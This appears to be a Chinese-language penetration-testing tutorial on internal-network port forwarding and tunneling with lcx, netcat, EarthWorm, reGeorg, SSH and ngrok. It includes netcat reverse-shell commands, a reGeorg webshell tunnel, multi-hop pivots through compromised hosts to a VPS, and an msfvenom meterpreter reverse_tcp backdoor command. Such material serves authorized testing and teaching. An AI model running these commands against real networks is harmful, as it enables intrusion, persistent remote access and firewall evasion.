4、內網埠轉發及穿透(合集)
最近嘗試了一些內網埠的轉發和內網穿透,現在一起總結一下。
0x01 正向和反向代理
正向代理中,proxy 和 client 同屬一個 LAN,對 server 透明; 反向代理中,proxy 和 server 同屬一個 LAN,對 client 透明。 實際上 proxy 在兩種代理中做的事都是代為收發請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,後者叫做反向代理。
正向代理 (Forward Proxy)
Lhost--》proxy--》Rhost
Lhost 為了訪問到 Rhost,向 proxy 傳送了一個請求並且指定目標是 Rhost,然後 proxy 向 Rhost 轉交請求並將獲得的內容返回給 Lhost,簡單來說正向代理就是 proxy 代替了我們去訪問 Rhost。
反向代理(reverse proxy)
Lhost<--->proxy<--->firewall<--->Rhost
和正向代理相反(廢話),Lhost 只向 proxy 傳送普通的請求,具體讓他轉到哪裡,proxy 自己判斷,然後將返回的資料遞交回來,這樣的好處就是在某些防火牆只允許 proxy 資料進出的時候可以有效的進行穿透
簡單區分
正向代理代理的是客戶端,反向代理代理的是服務端,正向代理是我們自己 (Lhost) 戴套 (proxy) 插進去,反向代理是她 (Rhost) 主動通過上位 (proxy) 坐上來(Lhost)。
0x02 lcx 轉發
內網 IP:192.168.153.138
公網 ip:192.168.153.140
由於是本地實驗,我這裡將 138 的防火牆開啟,當作內網環境,140 防火牆關閉,充當公網 ip,所以正常情況下只能 138 訪問 140,而 140 不能直接訪問 138。這是兩臺機器互相 ping 的結果。
\1. 內網機器上執行:lcx.exe –slave 公網 IP + 埠 內網 IP + 埠
lcx.exe –slave 192.168.153.140 4444 192.168.153.138 3389
將內網 (192.168.153.138) 的 3389 埠轉發到公網 (192.168.153.138) 的 4444 埠
\2. 公網 (192.168.153.138) 執行:lcx -listen 4444 5555
監聽公網 4444 埠請求,並將 4444 的請求傳送給 5555 埠。
此時已經把內網的 3389 埠轉發到了公網的 5555 埠。可以通過 127.0.0.1:5555 連線到內網的遠端桌面。
0x03 nc 反彈
正向連線
在內網執行
nc -l -p 5555 -t -e cmd.exe
-t
是通過 telne 模式執行 cmd.exe 程式,可以省略。
在公網執行
nc -nvv 192.168.153.138 5555
反向連線
在公網監聽nc -lp 5555
在內網機器反彈nc -t -e cmd 192.168.153.140 5555
0x04 socks 代理工具
常見的 socks 代理工具介紹如下
1.Earthworm 工具網址:http://rootkiter.com/EarthWorm
EW 是一套行動式的網路穿透工具,具有 SOCKS v5 服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。該工具能夠以 “正向”、“反向”、“多級級聯” 等方式打通一條網路隧道,直達網路深處,用蚯蚓獨有的手段突破網路限制,給防火牆鬆土。工具包中提供了多種可執行檔案,以適用不同的作業系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內, 強烈推薦使用。
目前已經有了最新版 Termite,工具網址:http://rootkiter.com/Termite/
2.reGeorg 工具網址:https://github.com/NoneNotNull/reGeorg
reGeorg 是 reDuh 的升級版,主要是把內網伺服器的埠通過 http/https 隧道轉發到本機,形成一個迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。它利用 webshell 建立一個 socks 代理進行內網穿透,伺服器必須支援 aspx、php 或 jsp 這些 web 程式中的一種。
3.sSocks 工具網址:http://sourceforge.net/projects/ssocks/
sSocks 是一個 socks 代理工具套裝,可用來開啟 socks 代理服務,支援 socks5 驗證,支援 IPV6 和 UDP,並提供反向 socks 代理服務,即將遠端計算機作為 socks 代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為 0.0.13。
4.SocksCap64 工具網址:http://www.sockscap64.com (需翻牆)
SocksCap64 是一款在 windows 下相當好使的全域性代理軟體。SocksCap64 可以使 Windows 應用程式通過 SOCKS 代理伺服器來訪問網路而不需要對這些應用程式做任何修改, 即使某些本身不支援 SOCKS 代理的應用程式通過 SocksCap64 之後都可以完美的實現代理訪問。
5.proxychains 工具網址:http://proxychains.sourceforge.net/
Proxychains 是一款在 LINUX 下可以實現全域性代理的軟體,效能相當穩定可靠。在使任何程式通過代理上網,允許 TCP 和 DNS 通過代理隧道,支援 HTTP、SOCKS4、SOCKS5 型別的代理伺服器,支援 proxy chain,即可配置多個代理,同一個 proxy chain 可使用不同型別的代理伺服器
0x04.1 reGeorg+Proxychains 代理
上傳 reGeorg 的 tunnel.jsp 到伺服器。訪問連結,並轉發到本地埠。
python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp
使用設定 proxychains 的代理埠,進行訪問,一般配合 nmap 和 metasploit 進行後續內網滲透。
ps:proxychains 不支援 udp 和 icmp 協議,所以使用 nmap 要加上-sT -Pn
即使用 tcp 協議且不使用 icmp 協議。
0x04.2 ew 穿透
該工具借用了 ssocks 和 lcx.exe 的操作邏輯,並進行更多的功能強化。
說明
目前工具提供六種鏈路狀態,可通過 -s 引數進行選定,分別為:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服務的核心邏輯支援由 ssocksd 和 rssocks 提供,分別對應正向與反向socks代理。
其餘的 lcx 鏈路狀態用於打通測試主機同 socks 伺服器之間的通路。
lcx 類別管道:
lcx_slave 該管道一側通過反彈方式連線代理請求方,另一側連線代理提供主機。
lcx_tran 該管道,通過監聽本地埠接收代理請求,並轉交給代理提供主機。
lcx_listen 該管道,通過監聽本地埠接收資料,並將其轉交給目標網路回連的代理提供主機。
通過組合lcx類別管道的特性,可以實現多層內網環境下的滲透測試。
下面是一個三級跳的本地測試例子。。。
./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777
資料流向為 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
0x04.2.1 正向 SOCKS5 伺服器
當目標網路邊界存在公網 IP 且可任意開監聽埠
ew_for_Win.exe -s ssocksd -l 8888
上述命令是在該機器(192.168.153.140)開啟一個 8888 的正向連線埠。然後其它主機可通過設定代理為 192.168.153.140:8888 新增這個代理。這裡使用的是 proxychains
0x04.2.2 反彈 SOCKS5 伺服器
當目標網路邊界不存在公網 IP,通過反彈方式建立 socks 代理。
先在一臺具有公網 ip 的主機 A 上執行以下命令
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
意思是在我們公網 VPS 上新增一個轉接隧道,把 1080 埠收到的代理請求轉交給 8888 埠
在目標主機 B 上啟動 SOCKS5 服務 並反彈到公網主機的 8888 埠
ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888
本地主機(192.168.153.129)然後通過新增公網 192.168.153.129:1080 這個代理, 來訪問內網機器(192.168.153.129)
當然如果本地主機如果是公網 ip,就可以把在公網執行的步驟放在本地執行即可。
0x04.2.3 二級網路環境(一)
假設我們獲得了右側 A 主機和 B 主機的控制許可權,A 主機配有 2 塊網路卡,一塊 10.129.72.168 連通外網,一塊 192.168.153.140 只能連線內網 B 主機,無法訪問內網其它資源。B 主機可以訪問內網資源,但無法訪問外網。
先上傳 ew 到 B 主機,利用 ssocksd 方式啟動 8888 埠的 SOCKS 代理,命令如下
ew_for_Win.exe -s ssocksd -l 8888
然後在 A 主機執行
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
含義是將 1080 埠收到的代理請求轉交給 B 主機(192.168.153.138)的 8888 埠
然後 My pc 就可以通過 A 的外網代理 10.129.72.168:1080 訪問 B。
0x04.2.4 二級網路環境(二)
假設我們獲得了右側 A 主機和 B 主機的控制許可權,A 主機沒有公網 IP,也無法訪問內網資源。B 主機可以訪問內網資源,但無法訪問外網。
這次操作有四步。
- 在公網 vps(45.xxx.xxx.72)新增轉接隧道,將 10800 埠收到的代理請求轉交給 8888 埠
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2.B(192.168.153.138)主機正向開啟 8888 埠
ew_for_Win.exe -s ssocksd -l 9999
3.A 主機利用 lcx_slave 方式,將公網 VPS 的 888 埠和 B 主機的 999 埠連線起來
ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999
現在 my pc 可通過訪問 45.xxx.xxx.72:10800 來使用 192.168.153.138 主機提供的 socks5 代理,代理成功,vps 會有 rssocks cmd_socket OK! 提示
0x05 ssh 隧道代理轉發
ssh 有三個強大的埠轉發命令,分別是本地轉發、遠端轉發、動態轉發。
本地訪問127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地轉發
訪問host:port2就是訪問127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #遠端轉發
可以將dmz_host的hostport埠通過remote_ip轉發到本地的port埠
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,監聽本地port
可以將dmz_host的hostport埠轉發到remote_ip的port埠
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用於內網穿透防火牆限制之類
socket代理:
ssh -qTfnN -D port remotehost
引數詳解:
-q Quiet mode. 安靜模式
-T Disable pseudo-tty allocation. 不佔用 shell 了
-f Requests ssh to go to background just before command execution. 後臺執行,並推薦加上 -n 引數
-N Do not execute a remote command. 不執行遠端命令,埠轉發就用它了
-L port:host:hostport
將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉發出去, 同時遠端主機和 host 的 hostport 埠建立連線. 可以在配置檔案中指定埠的轉發. 只有 root 才能轉發特權埠. IPv6 地址用另一種格式說明: port/host/hostport
-R port:host:hostport
將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠. 工作原理是這樣的, 遠端主機上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 埠建立連線. 可以在配置檔案中指定埠的轉發. 只有用 root 登入遠端主機才能轉發特權埠. IPv6 地址用另一種格式說明: port/host/hostport
-D port
指定一個本地機器 “動態的’’ 應用程式埠轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 埠, 一旦這個埠上有了連線, 該連線就經過安全通道轉發出去, 根據應用程式的協議可以判斷出遠端主機將和哪裡連線. 目前支援 SOCKS協議, 將充當SOCKS伺服器. 只有 root 才能轉發特權埠. 可以在配置檔案中指定動態埠的轉發.
0x05.1 ssh 本地轉發
遠端管理伺服器上的 mysql,mysql 不能直接 root 遠端登陸。這時候就可以通過本地轉發,通過 ssh 將伺服器的 3306 埠轉發到本地 1234 埠
ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121
0x05.2 ssh 遠端轉發
內網的伺服器,外網不能直接訪問,使用遠端轉發,將內網的伺服器埠轉發到外網埠。這時候訪問外網的埠,就訪問到了內網的埠。
ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142
現在在 192.168.153.142 訪問 127.0.0.1:81 就是訪問內網的伺服器的 80 埠。
0x05.2 ssh 動態轉發 socks 代理
把遠端主機設定成代理,來代理訪問不能訪問的資源。在地機器上分配了一個監聽埠, 一旦這個埠上有了連線, 該連線就經過 ssh 隧道轉發出去, 根據應用程式的協議可以判斷出遠端主機將和哪裡連線。
ssh -qTfnN -D 1080 root@45.32.31.121
0x06 內網穿透平臺
例如 https://www.ngrok.cc/、https://natapp.cn / 等
以 ngrok 為例,註冊並開通隧道
下載對應的客戶端,下載地址為:https://www.ngrok.cc/#down-client 。
執行
生成 backdoor。監聽的 IP 為 server.ngrok.cc 的 ip,埠為開通隧道時填寫的遠端埠
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=52524 -f exe > shell.exe
kali 上執行
0x07 參考
相關文章
- 內網穿透教程,簡單,便捷,極速穿透內網埠內網穿透
- 內網穿透之流量代理轉發內網穿透
- 內網埠轉發小技巧內網
- 內網中的埠轉發內網
- 內網入口——代理搭建&埠轉發內網
- 「內網穿透伺服器」穿透80埠 實現對外釋出網站內網穿透伺服器網站
- 常用集中內網穿透&埠對映軟體工具內網穿透
- frp實現內網穿透--支援80埠訪問FRP內網穿透
- 內網穿透內網穿透
- 內網小組 | 埠轉發 全劇終內網
- 內網穿透的作用 免費內網穿透有哪些?內網穿透
- ngrok 內網穿透內網穿透
- 內網穿透指南內網穿透
- 2、Web狗要懂的內網埠轉發Web內網
- 什麼是內網穿透?為什麼使用內網穿透?內網穿透
- iptables 配置埠及轉發
- FRP 內網穿透FRP內網穿透
- 內網穿透技術內網穿透
- NAT與內網穿透內網穿透
- 7. 用Rust手把手編寫一個wmproxy(代理,內網穿透等), HTTP及TCP內網穿透原理及執行篇Rust內網穿透HTTPTCP
- 如何使用natapp來實現內網穿透及案例APP內網穿透
- 樹莓派FRP內網穿透及自啟動樹莓派FRP內網穿透
- 有哪些簡單實用的埠對映(內網穿透)軟體工具?內網穿透
- 關於內網穿透搭建內網穿透
- FRP搭建內網穿透FRP內網穿透
- natapp內網穿透工具APP內網穿透
- [ssh訪問內網伺服器]使用Natapp來進行內網埠轉發內網伺服器APP
- 利用nginx的stream模組實現內網埠的轉發代理Nginx內網
- 內網穿透神器 Ngrok 的使用內網穿透
- 內網穿透技術淺評內網穿透
- frp 實現內網穿透FRP內網穿透
- 使用 ngrok 進行內網穿透內網穿透
- 永久免費內網穿透工具內網穿透
- 內網穿透[搞一下]內網穿透
- FRP 內網穿透、反向代理FRP內網穿透
- 使用內網穿透工具frp內網穿透FRP
- ngrok內網穿透/對映神器內網穿透
- 5、內網滲透之埠轉發與代理工具總結內網